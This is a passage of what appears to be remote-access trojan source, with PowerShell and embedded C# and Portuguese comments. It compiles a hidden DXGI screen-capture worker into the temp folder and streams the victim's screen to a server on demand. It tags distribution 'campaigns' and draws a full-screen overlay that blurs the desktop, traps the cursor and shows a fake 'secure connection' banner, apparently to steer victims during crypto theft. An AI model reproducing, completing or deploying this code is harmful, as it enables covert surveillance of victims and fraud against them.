stride, int quality) { int bufSize = stride * h; var bmp = System.Windows.Media.Imaging.BitmapSource.Create( w, h, 96, 96, System.Windows.Media.PixelFormats.Bgra32, null, pixels, bufSize, stride); var enc = new System.Windows.Media.Imaging.JpegBitmapEncoder(); enc.QualityLevel = quality; enc.Frames.Add(System.Windows.Media.Imaging.BitmapFrame.Create(bmp)); jpegMs.SetLength(0); enc.Save(jpegMs); using (var fs = new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.Read, 65536)) { fs.Write(jpegMs.GetBuffer(), 0, (int)jpegMs.Length); } } [DllImport("user32.dll")] static extern int GetSystemMetrics(int nIndex); static int currentOutputIdx = 0; static IntPtr currentDev = IntPtr.Zero; static IntPtr currentCtx = IntPtr.Zero; static DCopy currentCopy = null; static DMap currentMapR = null; static DUnmap currentUnmR = null; static DCreate currentCTex = null; static int lastMonX, lastMonY, lastMonW, lastMonH; static bool InitDuplicator(IntPtr fac, int outputIdx, int monW, int monH, int monX, int monY, out IntPtr dupl, out DAcq acq, out DRelF relF, out int w, out int h, out IntPtr stg, string framePath) { dupl = IntPtr.Zero; acq = null; relF = null; w = 0; h = 0; stg = IntPtr.Zero; try { var ea = Marshal.GetDelegateForFunctionPointer(VT(fac, 12)); IntPtr adp = IntPtr.Zero, outp = IntPtr.Zero; bool found = false; bool useCoords = (monW > 0 && monH > 0); // Match by screen coordinates (reliable across multi-GPU) if (useCoords) { for (uint ai = 0; ea(fac, ai, out adp) == 0; ai++) { var eo = Marshal.GetDelegateForFunctionPointer(VT(adp, 7)); for (uint oi = 0; eo(adp, oi, out outp) == 0; oi++) { IntPtr dp = Marshal.AllocHGlobal(100); var gd = Marshal.GetDelegateForFunctionPointer(VT(outp, 7)); if (gd(outp, dp) == 0) { int ol = Marshal.ReadInt32(dp, 64), ot = Marshal.ReadInt32(dp, 68); int or2 = Marshal.ReadInt32(dp, 72), ob = Marshal.ReadInt32(dp, 76); int att = Marshal.ReadInt32(dp, 80); if (att != 0 && ol == monX && ot == monY && (or2 - ol) == monW && (ob - ot) == monH) { Marshal.FreeHGlobal(dp); found = true; break; } } Marshal.FreeHGlobal(dp); try { Marshal.GetDelegateForFunctionPointer(VT(outp, 2))(outp); } catch {} outp = IntPtr.Zero; } if (found) break; try { Marshal.GetDelegateForFunctionPointer(VT(adp, 2))(adp); } catch {} adp = IntPtr.Zero; } } // Fallback: match by flat index if (!found) { int outRemain = outputIdx; for (uint ai = 0; ea(fac, ai, out adp) == 0; ai++) { var eo = Marshal.GetDelegateForFunctionPointer(VT(adp, 7)); for (uint oi = 0; eo(adp, oi, out outp) == 0; oi++) { if (outRemain == 0) { found = true; break; } outRemain--; try { Marshal.GetDelegateForFunctionPointer(VT(outp, 2))(outp); } catch {} outp = IntPtr.Zero; } if (found) break; try { Marshal.GetDelegateForFunctionPointer(VT(adp, 2))(adp); } catch {} adp = IntPtr.Zero; } if (!found && outputIdx != 0) return InitDuplicator(fac, 0, 0, 0, 0, 0, out dupl, out acq, out relF, out w, out h, out stg, framePath); } if (!found || outp == IntPtr.Zero || adp == IntPtr.Zero) return false; // Get actual output dimensions from DXGI int actualW = monW, actualH = monH; { IntPtr dp2 = Marshal.AllocHGlobal(100); var gd2 = Marshal.GetDelegateForFunctionPointer(VT(outp, 7)); if (gd2(outp, dp2) == 0) { int dl = Marshal.ReadInt32(dp2, 64), dt2 = Marshal.ReadInt32(dp2, 68); int dr = Marshal.ReadInt32(dp2, 72), db = Marshal.ReadInt32(dp2, 76); actualW = dr - dl; actualH = db - dt2; } Marshal.FreeHGlobal(dp2); } if (actualW <= 0) actualW = GetSystemMetrics(78); if (actualH <= 0) actualH = GetSystemMetrics(79); IntPtr adpDev, adpCtx; int adpFl; int[] lvl2 = { 0xb000, 0xa100, 0xa000 }; if (D3D11CreateDevice(adp, 0, IntPtr.Zero, 0, lvl2, 3, 7, out adpDev, out adpFl, out adpCtx) != 0) { if (D3D11CreateDevice(IntPtr.Zero, 1, IntPtr.Zero, 0, lvl2, 3, 7, out adpDev, out adpFl, out adpCtx) != 0) return false; } currentDev = adpDev; currentCtx = adpCtx; currentCopy = Marshal.GetDelegateForFunctionPointer(VT(adpCtx, 47)); currentMapR = Marshal.GetDelegateForFunctionPointer(VT(adpCtx, 14)); currentUnmR = Marshal.GetDelegateForFunctionPointer(VT(adpCtx, 15)); currentCTex = Marshal.GetDelegateForFunctionPointer(VT(adpDev, 5)); var qi = Marshal.GetDelegateForFunctionPointer(VT(outp, 0)); IntPtr o1; qi(outp, O1, out o1); var dupFn = Marshal.GetDelegateForFunctionPointer(VT(o1, 22)); int dhr = -1; for (int retry = 0; retry < 3; retry++) { dhr = dupFn(o1, adpDev, out dupl); if (dhr == 0) break; Thread.Sleep(100); } if (dhr != 0) return false; acq = Marshal.GetDelegateForFunctionPointer(VT(dupl, 8)); relF = Marshal.GetDelegateForFunctionPointer(VT(dupl, 14)); w = actualW; h = actualH; lastMonX = monX; lastMonY = monY; lastMonW = actualW; lastMonH = actualH; var td = new TD { W=(uint)w, H=(uint)h, M=1, A=1, Fmt=87, SC=1, SQ=0, U=3, B=0, C=0x20000, Mc=0 }; currentCTex(adpDev, ref td, IntPtr.Zero, out stg); return true; } catch { return false; } } // Panorama: multi-output DXGI capture (like RustDesk) static IntPtr[] pDv, pCx, pDp, pSt; static DAcq[] pAc; static DRelF[] pRf; static DCopy[] pCp; static DMap[] pMp; static DUnmap[] pUm; static int[] pOx, pOy, pOw, pOh; static int pN, pTW, pTH, pMX, pMY; static byte[] pBf; static bool[] pVd; static bool panMode = false; static bool InitPan(IntPtr fac) { var ea = Marshal.GetDelegateForFunctionPointer(VT(fac, 12)); var dvL=new System.Collections.Generic.List(); var cxL=new System.Collections.Generic.List(); var dpL=new System.Collections.Generic.List(); var stL=new System.Collections.Generic.List(); var acL=new System.Collections.Generic.List(); var rfL=new System.Collections.Generic.List(); var cpL=new System.Collections.Generic.List(); var mpL=new System.Collections.Generic.List(); var umL=new System.Collections.Generic.List(); var xL=new System.Collections.Generic.List(); var yL=new System.Collections.Generic.List(); var wL=new System.Collections.Generic.List(); var hL=new System.Collections.Generic.List(); int minX=int.MaxValue,minY=int.MaxValue,maxX=int.MinValue,maxY=int.MinValue; IntPtr adp; for (uint ai=0; ea(fac,ai,out adp)==0; ai++) { IntPtr dv,cx; int fl2; int[] lv={0xb000,0xa100,0xa000}; if (D3D11CreateDevice(adp,0,IntPtr.Zero,0,lv,3,7,out dv,out fl2,out cx)!=0) continue; var eo=Marshal.GetDelegateForFunctionPointer(VT(adp,7)); IntPtr op; bool usedDev=false; for (uint oi=0; eo(adp,oi,out op)==0; oi++) { IntPtr dp=Marshal.AllocHGlobal(100); var gd=Marshal.GetDelegateForFunctionPointer(VT(op,7)); if (gd(op,dp)!=0){Marshal.FreeHGlobal(dp);continue;} int l=Marshal.ReadInt32(dp,64),t=Marshal.ReadInt32(dp,68),r=Marshal.ReadInt32(dp,72),b=Marshal.ReadInt32(dp,76); int attached=Marshal.ReadInt32(dp,80); Marshal.FreeHGlobal(dp); int ow=r-l,oh=b-t; if(ow<=0||oh<=0||attached==0)continue; var qi=Marshal.GetDelegateForFunctionPointer(VT(op,0)); IntPtr o1;qi(op,O1,out o1); var df=Marshal.GetDelegateForFunctionPointer(VT(o1,22)); IntPtr dd=IntPtr.Zero;int dhr2=-1; for(int rt=0;rt<3;rt++){dhr2=df(o1,dv,out dd);if(dhr2==0)break;Thread.Sleep(100);} if(dhr2!=0)continue; var ct=Marshal.GetDelegateForFunctionPointer(VT(dv,5)); var td2=new TD{W=(uint)ow,H=(uint)oh,M=1,A=1,Fmt=87,SC=1,SQ=0,U=3,B=0,C=0x20000,Mc=0}; IntPtr sg;ct(dv,ref td2,IntPtr.Zero,out sg); dvL.Add(dv);cxL.Add(cx);dpL.Add(dd);stL.Add(sg); acL.Add(Marshal.GetDelegateForFunctionPointer(VT(dd,8))); rfL.Add(Marshal.GetDelegateForFunctionPointer(VT(dd,14))); cpL.Add(Marshal.GetDelegateForFunctionPointer(VT(cx,47))); mpL.Add(Marshal.GetDelegateForFunctionPointer(VT(cx,14))); umL.Add(Marshal.GetDelegateForFunctionPointer(VT(cx,15))); xL.Add(l);yL.Add(t);wL.Add(ow);hL.Add(oh); if(lmaxX)maxX=r;if(b>maxY)maxY=b; usedDev=true; } if(!usedDev){try{Marshal.GetDelegateForFunctionPointer(VT(dv,2))(dv);}catch{}} } if(dvL.Count==0)return false; pDv=dvL.ToArray();pCx=cxL.ToArray();pDp=dpL.ToArray();pSt=stL.ToArray(); pAc=acL.ToArray();pRf=rfL.ToArray();pCp=cpL.ToArray();pMp=mpL.ToArray();pUm=umL.ToArray(); pOx=xL.ToArray();pOy=yL.ToArray();pOw=wL.ToArray();pOh=hL.ToArray(); pN=dvL.Count;pMX=minX;pMY=minY;pTW=maxX-minX;pTH=maxY-minY; pBf=new byte[pTW*pTH*4];pVd=new bool[pN];pFac=fac; return true; } static IntPtr pFac; static void CapPan(){ for(int i=0;i(VT(rs,0));IntPtr tx;q(rs,T2D,out tx); if(tx!=IntPtr.Zero&&pSt[i]!=IntPtr.Zero){pCp[i](pCx[i],pSt[i],tx);pVd[i]=true;} if(tx!=IntPtr.Zero)Marshal.GetDelegateForFunctionPointer(VT(tx,2))(tx);} Marshal.GetDelegateForFunctionPointer(VT(rs,2))(rs);pRf[i](pDp[i]); }else if(hr==unchecked((int)0x887A0026)||hr==unchecked((int)0x887A0001)){ try{Marshal.GetDelegateForFunctionPointer(VT(pDp[i],2))(pDp[i]);}catch{} pDp[i]=IntPtr.Zero;pVd[i]=false; try{ var ea=Marshal.GetDelegateForFunctionPointer(VT(pFac,12));IntPtr adp;int gi=0; for(uint ai2=0;ea(pFac,ai2,out adp)==0;ai2++){ var eo2=Marshal.GetDelegateForFunctionPointer(VT(adp,7));IntPtr op2; for(uint oi2=0;eo2(adp,oi2,out op2)==0;oi2++){ if(gi==i){var qi2=Marshal.GetDelegateForFunctionPointer(VT(op2,0));IntPtr o12;qi2(op2,O1,out o12); var df2=Marshal.GetDelegateForFunctionPointer(VT(o12,22));IntPtr dd2; if(df2(o12,pDv[i],out dd2)==0){pDp[i]=dd2;pAc[i]=Marshal.GetDelegateForFunctionPointer(VT(dd2,8));pRf[i]=Marshal.GetDelegateForFunctionPointer(VT(dd2,14));} }gi++; } } }catch{} }} } static void WritePan(string path,int q){ Array.Clear(pBf,0,pBf.Length); for(int i=0;i=0&&dst+pOw[i]*4<=pBf.Length)Marshal.Copy(new IntPtr(ms.p.ToInt64()+r*(int)ms.rp),pBf,dst,pOw[i]*4);} pUm[i](pCx[i],pSt[i],0);}} var pin=GCHandle.Alloc(pBf,GCHandleType.Pinned); try{var bmp=System.Windows.Media.Imaging.BitmapSource.Create(pTW,pTH,96,96,System.Windows.Media.PixelFormats.Bgra32,null,pin.AddrOfPinnedObject(),pBf.Length,pTW*4); var enc=new System.Windows.Media.Imaging.JpegBitmapEncoder();enc.QualityLevel=q; enc.Frames.Add(System.Windows.Media.Imaging.BitmapFrame.Create(bmp));jpegMs.SetLength(0);enc.Save(jpegMs); using(var fs=new FileStream(path,FileMode.Create,FileAccess.Write,FileShare.Read,65536)){fs.Write(jpegMs.GetBuffer(),0,(int)jpegMs.Length);} }finally{pin.Free();} } static void FreePan(){if(pDp!=null)for(int i=0;i(VT(pDp[i],2))(pDp[i]);}catch{}}pDp=null;panMode=false;} static void Main(string[] args) { try { SetProcessDpiAwareness(2); } catch {} string framePath = args[0]; string reqPath = framePath + ".req"; string qualityPath = framePath + ".q"; string monPath = framePath + ".mon"; int jpegQuality = 25; IntPtr fac; CreateDXGIFactory1(F1, out fac); IntPtr dupl; DAcq acq; DRelF relF; int w, h; IntPtr stg; if (!InitDuplicator(fac, 0, 0, 0, 0, 0, out dupl, out acq, out relF, out w, out h, out stg, framePath)) { File.WriteAllText(framePath + ".err", "DUP"); return; } currentOutputIdx = 0; File.WriteAllText(framePath + ".ready", w + "x" + h); bool lastFrameValid = false; int accessLostCount = 0; while (true) { if (File.Exists(qualityPath)) { try { string qs = File.ReadAllText(qualityPath).Trim(); int nq; if (int.TryParse(qs, out nq) && nq >= 1 && nq <= 100) jpegQuality = nq; File.Delete(qualityPath); } catch {} } if (File.Exists(monPath)) { try { string ms = File.ReadAllText(monPath).Trim(); File.Delete(monPath); string[] parts = ms.Split(','); int newIdx, mw = 0, mh = 0, mx = 0, my = 0; if (int.TryParse(parts[0], out newIdx)) { if (parts.Length >= 3) { int.TryParse(parts[1], out mw); int.TryParse(parts[2], out mh); } if (parts.Length >= 5) { int.TryParse(parts[3], out mx); int.TryParse(parts[4], out my); } if (newIdx < 0) { if (!panMode) { try { Marshal.GetDelegateForFunctionPointer(VT(dupl, 2))(dupl); } catch {} try { if (stg != IntPtr.Zero) Marshal.GetDelegateForFunctionPointer(VT(stg, 2))(stg); } catch {} dupl = IntPtr.Zero; stg = IntPtr.Zero; lastFrameValid = false; if (InitPan(fac)) { panMode = true; currentOutputIdx = -1; } else { InitDuplicator(fac, 0, 0, 0, 0, 0, out dupl, out acq, out relF, out w, out h, out stg, framePath); currentOutputIdx = 0; } } } else { if (panMode) { FreePan(); panMode = false; lastFrameValid = false; } try { if (dupl != IntPtr.Zero) Marshal.GetDelegateForFunctionPointer(VT(dupl, 2))(dupl); } catch {} try { if (stg != IntPtr.Zero) Marshal.GetDelegateForFunctionPointer(VT(stg, 2))(stg); } catch {} dupl = IntPtr.Zero; stg = IntPtr.Zero; lastFrameValid = false; IntPtr dupl2; DAcq acq2; DRelF relF2; int w2, h2; IntPtr stg2; if (InitDuplicator(fac, newIdx, mw, mh, mx, my, out dupl2, out acq2, out relF2, out w2, out h2, out stg2, framePath)) { dupl = dupl2; acq = acq2; relF = relF2; w = w2; h = h2; stg = stg2; currentOutputIdx = newIdx; } else { InitDuplicator(fac, 0, 0, 0, 0, 0, out dupl, out acq, out relF, out w, out h, out stg, framePath); currentOutputIdx = 0; } } } } catch {} } if (panMode) { CapPan(); if (File.Exists(reqPath)) { try { File.Delete(reqPath); WritePan(framePath, jpegQuality); } catch {} } } else { if (lastFrameValid && File.Exists(reqPath)) { try { File.Delete(reqPath); FI fi2; IntPtr res2; int hr2 = acq(dupl, 0, out fi2, out res2); if (hr2 == 0 && res2 != IntPtr.Zero) { if (fi2.a != 0) { var qit2 = Marshal.GetDelegateForFunctionPointer(VT(res2, 0)); IntPtr tex2; qit2(res2, T2D, out tex2); if (tex2 != IntPtr.Zero && stg != IntPtr.Zero) { currentCopy(currentCtx, stg, tex2); } if (tex2 != IntPtr.Zero) Marshal.GetDelegateForFunctionPointer(VT(tex2, 2))(tex2); } Marshal.GetDelegateForFunctionPointer(VT(res2, 2))(res2); relF(dupl); } if (lastFrameValid) { MS ms; if (currentMapR(currentCtx, stg, 0, 1, 0, out ms) == 0) { WriteJpegToFile(framePath, ms.p, w, h, (int)ms.rp, jpegQuality); currentUnmR(currentCtx, stg, 0); } } } catch {} } FI fi; IntPtr res; int hr = acq(dupl, 8, out fi, out res); if (hr == 0 && res != IntPtr.Zero) { accessLostCount = 0; if (fi.a != 0 || !lastFrameValid) { var qit = Marshal.GetDelegateForFunctionPointer(VT(res, 0)); IntPtr tex; qit(res, T2D, out tex); if (tex != IntPtr.Zero && stg != IntPtr.Zero) { currentCopy(currentCtx, stg, tex); lastFrameValid = true; } if (tex != IntPtr.Zero) Marshal.GetDelegateForFunctionPointer(VT(tex, 2))(tex); } Marshal.GetDelegateForFunctionPointer(VT(res, 2))(res); relF(dupl); } else if (hr == unchecked((int)0x887A0001) || hr == unchecked((int)0x887A0026)) { lastFrameValid = false; accessLostCount++; try { relF(dupl); } catch {} try { Marshal.GetDelegateForFunctionPointer(VT(dupl, 2))(dupl); } catch {} dupl = IntPtr.Zero; Thread.Sleep(hr == unchecked((int)0x887A0001) ? 100 : 200 * Math.Min(accessLostCount, 10)); try { IntPtr dupl2; DAcq acq2; DRelF relF2; int w2, h2; IntPtr stg2; if (InitDuplicator(fac, currentOutputIdx, lastMonW, lastMonH, lastMonX, lastMonY, out dupl2, out acq2, out relF2, out w2, out h2, out stg2, framePath)) { try { if (stg != IntPtr.Zero) Marshal.GetDelegateForFunctionPointer(VT(stg, 2))(stg); } catch {} dupl = dupl2; acq = acq2; relF = relF2; stg = stg2; if (w2 != w || h2 != h) { w = w2; h = h2; pixelBuf = null; } accessLostCount = 0; } else { File.WriteAllText(framePath + ".err", "DUP_RECOVER"); return; } } catch { File.WriteAllText(framePath + ".err", "DUP_EX"); return; } } } // end !panMode Thread.Sleep(1); } } } '@ function Start-DxgiWorker { if ($script:DxgiWorkerProcess -and -not $script:DxgiWorkerProcess.HasExited) { return $true } # Kill zombie DxgiWorker processes that may hold the DXGI Duplicator try { Get-Process | Where-Object { $_.ProcessName -match '^dxw_[a-f0-9]{8}$' -and $_.Path -like "$env:TEMP\*" } | ForEach-Object { try { $_.Kill(); Start-Sleep -Milliseconds 100 } catch {} } } catch {} $cscPath = @("$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe", "$env:WINDIR\Microsoft.NET\Framework\v4.0.30319\csc.exe") | Where-Object { Test-Path $_ } | Select-Object -First 1 if (-not $cscPath) { return $false } $exePath = "$env:TEMP\dxw_$([guid]::NewGuid().ToString('N').Substring(0,8)).exe" $srcPath = "$env:TEMP\$([guid]::NewGuid().ToString('N').Substring(0,8)).cs" $cscLog = "$env:TEMP\dxgi_csc.log" try { $script:_dxgiWorkerSrc | Out-File $srcPath -Encoding UTF8 $wpfDir = "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\WPF" $xamlDll = "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\System.Xaml.dll" $r = Start-Process $cscPath -ArgumentList "/target:exe /out:`"$exePath`" /optimize+ /nologo /reference:`"$wpfDir\PresentationCore.dll`" /reference:`"$wpfDir\WindowsBase.dll`" /reference:`"$xamlDll`" `"$srcPath`"" -Wait -NoNewWindow -PassThru -RedirectStandardOutput $cscLog Remove-Item $srcPath -Force -EA 0 if ($r.ExitCode -ne 0 -or -not (Test-Path $exePath)) { $script:_lastCscError = if (Test-Path $cscLog) { Get-Content $cscLog -Raw } else { "ExitCode=$($r.ExitCode)" } return $false } Remove-Item $cscLog -Force -EA 0 } catch { return $false } # Limpar arquivos antigos Remove-Item $script:DxgiFramePath,"$($script:DxgiFramePath).ready","$($script:DxgiFramePath).err" -Force -EA 0 $script:DxgiWorkerProcess = Start-Process $exePath -ArgumentList "`"$($script:DxgiFramePath)`"" -PassThru -WindowStyle Hidden $script:_dxgiExePath = $exePath # Aguardar ready (max 8s) for ($i = 0; $i -lt 80; $i++) { Start-Sleep -Milliseconds 100 if (Test-Path "$($script:DxgiFramePath).ready") { return $true } if (Test-Path "$($script:DxgiFramePath).err") { $script:_lastCscError = Get-Content "$($script:DxgiFramePath).err" -Raw -EA 0 return $false } if ($script:DxgiWorkerProcess.HasExited) { $script:_lastCscError = "Worker exited with code $($script:DxgiWorkerProcess.ExitCode)" return $false } } $script:_lastCscError = "Timeout waiting for Worker ready" return $false } function Stop-DxgiWorker { if ($script:DxgiWorkerProcess -and -not $script:DxgiWorkerProcess.HasExited) { try { $script:DxgiWorkerProcess.Kill() } catch {} } Remove-Item $script:DxgiFramePath,"$($script:DxgiFramePath).ready","$($script:DxgiFramePath).req","$($script:DxgiFramePath).q","$($script:DxgiFramePath).mon","$($script:DxgiFramePath).err","$($script:DxgiFramePath).crop" -Force -EA 0 if ($script:_dxgiExePath) { Remove-Item $script:_dxgiExePath -Force -EA 0 } } $script:ScreenBounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds # === CONFIGURACOES OTIMIZADAS PARA BAIXO DELAY === $script:PerfConfig = @{ Quality = 25 # Streaming: qualidade baixa = frames menores = menos delay FrameInterval = 6 # 166 FPS maximo teorico PcSpeed = "High" # Fixo TargetFps = 60 # Streaming target StreamingQuality = 25 # OTIMIZADO: era 35, agora 25 (frames ~40% menores) } # Streaming on-demand: server controla quando enviar screenshots # true = viewer ativo, enviar frames. false = ninguem assistindo, economizar CPU/rede $script:StreamingEnabled = $true # Default true - server pode desativar quando nao tem viewer $script:_burstUntil = [long]0 $script:_burstQuality = 18 # === SCREENSHOT OVERLAY - Variaveis de controle === $script:ScreenshotActive = $false $script:ScreenshotProcess = $null $script:ScreenshotTempResult = $null $script:ScreenshotStartTime = $null $script:WasOverlayActive = $false $script:PreviousOverlayMode = 0 # ?????????????????????????????????????????????????????????????????????????? # ??? CAMPANHA - Mude este valor antes de distribuir cada campanha # ?????????????????????????????????????????????????????????????????????????? # Exemplos: "ADS", "EMAIL", "SOCIAL", "YT", "CAMP01", "GERAL" $script:Campaign = "CRIPTO66" # =============================================================================== # DETECCAO BALANCEADA DE QR CODE - FUNCIONA DE VERDADE # =============================================================================== # ============================================================================== # CROP SCREEN - Mesma estrutura da tela de captura # Tira print, escurece, deixa area marcada CLARA com BURACO para interagir # ============================================================================== # Variavel global para controlar o form de crop $script:CropForm = $null $script:CropActive = $false function Show-CropScreen { param( [int]$CropX, [int]$CropY, [int]$CropW, [int]$CropH, [string]$Message = "" ) # Fechar crop anterior se existir if ($script:CropForm -ne $null) { try { $script:CropForm.Close() } catch {} $script:CropForm = $null } # Obter informacoes do monitor selecionado $selectedMon = Get-SelectedMonitor $monX = $selectedMon.X $monY = $selectedMon.Y $monW = $selectedMon.Width $monH = $selectedMon.Height # Obter VirtualScreen (todos os monitores) $vs = [System.Windows.Forms.SystemInformation]::VirtualScreen $vsX = $vs.X $vsY = $vs.Y $vsW = $vs.Width $vsH = $vs.Height # Calcular posicao absoluta do buraco (coordenadas absolutas de tela) $holeAbsX = $monX + $CropX $holeAbsY = $monY + $CropY # Calcular posicao do buraco relativa ao VirtualScreen (para o form) $holeRelX = $holeAbsX - $vsX $holeRelY = $holeAbsY - $vsY # Validar tamanho do crop if ($CropW -lt 50) { $CropW = 50 } if ($CropH -lt 50) { $CropH = 50 } if ($CropX + $CropW -gt $monW) { $CropW = $monW - $CropX } if ($CropY + $CropH -gt $monH) { $CropH = $monH - $CropY } $cropCode = @" Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing # DPI AWARENESS - CRITICO para coordenadas precisas! Add-Type @' using System; using System.Runtime.InteropServices; public class DpiHelper { [DllImport("shcore.dll")] public static extern int SetProcessDpiAwareness(int awareness); } '@ try { [DpiHelper]::SetProcessDpiAwareness(2) } catch {} # API para prender mouse e forcar topmost Add-Type @' using System; using System.Runtime.InteropServices; public class CropAPI { [DllImport("user32.dll")] public static extern bool ClipCursor(ref RECT lpRect); [DllImport("user32.dll")] public static extern bool ClipCursor(IntPtr lpRect); [DllImport("user32.dll")] public static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool BringWindowToTop(IntPtr hWnd); [DllImport("user32.dll")] public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [StructLayout(LayoutKind.Sequential)] public struct RECT { public int Left, Top, Right, Bottom; } public static readonly IntPtr HWND_TOPMOST = new IntPtr(-1); } '@ # Parametros do VirtualScreen `$vsX = $vsX `$vsY = $vsY `$vsW = $vsW `$vsH = $vsH # Parametros do buraco (relativo ao VirtualScreen) `$holeRelX = $holeRelX `$holeRelY = $holeRelY `$holeW = $CropW `$holeH = $CropH # Parametros do buraco (absolutos para ClipCursor) `$holeAbsX = $holeAbsX `$holeAbsY = $holeAbsY `$cropMessage = "$($Message -replace '"','\"' -replace "'","''")" # 1. Carregar screenshot salva pelo DXGI worker (sem CopyFromScreen) `$screenshot = [System.Drawing.Image]::FromFile("$($script:DxgiFramePath).crop") `$screenshot = New-Object System.Drawing.Bitmap(`$screenshot, `$vsW, `$vsH) # 2. Criar overlay com BLUR + escurecimento `$overlay = New-Object System.Drawing.Bitmap(`$vsW, `$vsH) `$g = [System.Drawing.Graphics]::FromImage(`$overlay) # Blur maximo: triplo downscale 1/64 (impossivel reconhecer) `$tinyW = [Math]::Max(1, [int](`$vsW / 64)) `$tinyH = [Math]::Max(1, [int](`$vsH / 64)) `$tiny = New-Object System.Drawing.Bitmap(`$tinyW, `$tinyH) `$gt = [System.Drawing.Graphics]::FromImage(`$tiny) `$gt.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$gt.DrawImage(`$screenshot, 0, 0, `$tinyW, `$tinyH) `$gt.Dispose() # Ampliar de volta (blur extremo) `$g.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$g.DrawImage(`$tiny, 0, 0, `$vsW, `$vsH) `$tiny.Dispose() # Repetir: pegar o resultado borrado e borrar de novo `$pass2W = [Math]::Max(1, [int](`$vsW / 32)) `$pass2H = [Math]::Max(1, [int](`$vsH / 32)) `$pass2 = New-Object System.Drawing.Bitmap(`$pass2W, `$pass2H) `$gp = [System.Drawing.Graphics]::FromImage(`$pass2) `$gp.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$gp.DrawImage(`$overlay, 0, 0, `$pass2W, `$pass2H) `$gp.Dispose() `$g2 = [System.Drawing.Graphics]::FromImage(`$overlay) `$g2.InterpolationMode = [System.Drawing.Drawing2D.InterpolationMode]::Bilinear `$g2.DrawImage(`$pass2, 0, 0, `$vsW, `$vsH) `$g2.Dispose() `$pass2.Dispose() # Leve escurecimento (so para dar contraste, nao preto) `$darkBrush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(60, 0, 0, 0)) `$g.FillRectangle(`$darkBrush, 0, 0, `$vsW, `$vsH) # === BANNER DE SEGURANCA acima do recorte === if (`$cropMessage -and `$cropMessage.Length -gt 0) { `$g.SmoothingMode = [System.Drawing.Drawing2D.SmoothingMode]::AntiAlias `$g.TextRenderingHint = [System.Drawing.Text.TextRenderingHint]::ClearTypeGridFit `$headerH = 70 `$pad = 20 `$boxW = `$holeW + (`$pad * 2) `$boxH = `$headerH + `$holeH + (`$pad * 2) if (`$boxW -lt 400) { `$boxW = 400 } # Centralizar box ao redor do hole `$boxX = `$holeRelX + (`$holeW / 2) - (`$boxW / 2) `$boxY = `$holeRelY - `$headerH - `$pad if (`$boxX -lt 5) { `$boxX = 5 } if (`$boxY -lt 5) { `$boxY = 5 } # Recalcular hole para ficar centralizado dentro do box `$holeRelX = `$boxX + (`$boxW - `$holeW) / 2 `$holeRelY = `$boxY + `$headerH + `$pad # ===== FUNDO BRANCO DO BOX INTEIRO (opaco, cobre o blur) ===== `$g.FillRectangle((New-Object System.Drawing.SolidBrush([System.Drawing.Color]::White)), `$boxX, `$boxY, `$boxW, `$boxH) # ===== HEADER ESCURO por cima do branco ===== `$g.FillRectangle((New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(255, 25, 32, 48))), `$boxX, `$boxY, `$boxW, `$headerH) # ===== BORDA VERDE ao redor do box inteiro ===== `$g.DrawRectangle((New-Object System.Drawing.Pen([System.Drawing.Color]::FromArgb(255, 34, 197, 94), 3)), `$boxX, `$boxY, `$boxW, `$boxH) # ===== ESCUDO verde ===== `$sx = `$boxX + 18 `$sy = `$boxY + 14 `$sw = 36; `$sh = 44 `$sp = New-Object System.Drawing.Drawing2D.GraphicsPath `$sp.AddLine((`$sx + `$sw/2), `$sy, (`$sx + `$sw), (`$sy + `$sh * 0.28)) `$sp.AddLine((`$sx + `$sw), (`$sy + `$sh * 0.28), (`$sx + `$sw), (`$sy + `$sh * 0.55)) `$sp.AddLine((`$sx + `$sw), (`$sy + `$sh * 0.55), (`$sx + `$sw/2), (`$sy + `$sh)) `$sp.AddLine((`$sx + `$sw/2), (`$sy + `$sh), `$sx, (`$sy + `$sh * 0.55)) `$sp.AddLine(`$sx, (`$sy + `$sh * 0.55), `$sx, (`$sy + `$sh * 0.28)) `$sp.CloseFigure() `$sGrad = New-Object System.Drawing.Drawing2D.LinearGradientBrush( (New-Object System.Drawing.Point(`$sx, `$sy)), (New-Object System.Drawing.Point(`$sx, (`$sy + `$sh))), [System.Drawing.Color]::FromArgb(255, 34, 197, 94), [System.Drawing.Color]::FromArgb(255, 21, 128, 61)) `$g.FillPath(`$sGrad, `$sp) `$ck = New-Object System.Drawing.Pen([System.Drawing.Color]::White, 3.5) `$ck.StartCap = [System.Drawing.Drawing2D.LineCap]::Round `$ck.EndCap = [System.Drawing.Drawing2D.LineCap]::Round `$g.DrawLine(`$ck, (`$sx + 10), (`$sy + `$sh * 0.5), (`$sx + `$sw * 0.42), (`$sy + `$sh * 0.7)) `$g.DrawLine(`$ck, (`$sx + `$sw * 0.42), (`$sy + `$sh * 0.7), (`$sx + `$sw - 8), (`$sy + `$sh * 0.28)) # ===== TEXTOS ===== `$tx = `$boxX + 66 `$g.DrawString(`$cropMessage, (New-Object System.Drawing.Font("Segoe UI", 15, [System.Drawing.FontStyle]::Bold)), (New-Object System.Drawing.SolidBrush([System.Drawing.Color]::White)), `$tx, (`$boxY + 14)) `$g.DrawString("Conexao segura ? Dados criptografados", (New-Object System.Drawing.Font("Segoe UI", 10)), (New-Object System.Drawing.SolidBrush([System.Drawing.Color]::FromArgb(255, 107, 200, 143))), `$tx, (`$boxY + 42)) } `$g.Dispose() `$screenshot.Dispose() # 3. Criar form fullscreen cobrindo todos monitores `$form = New-Object System.Windows.Forms.Form `$form.FormBorderStyle = 'None' `$form.StartPosition = 'Manual' `$form.Location = New-Object System.Drawing.Point(`$vsX, `$vsY) `$form.Size = New-Object System.Drawing.Size(`$vsW, `$vsH) `$form.TopMost = `$true `$form.BackgroundImage = `$overlay `$form.BackgroundImageLayout = 'None' `$form.ShowInTaskbar = `$false # 4. CRIAR 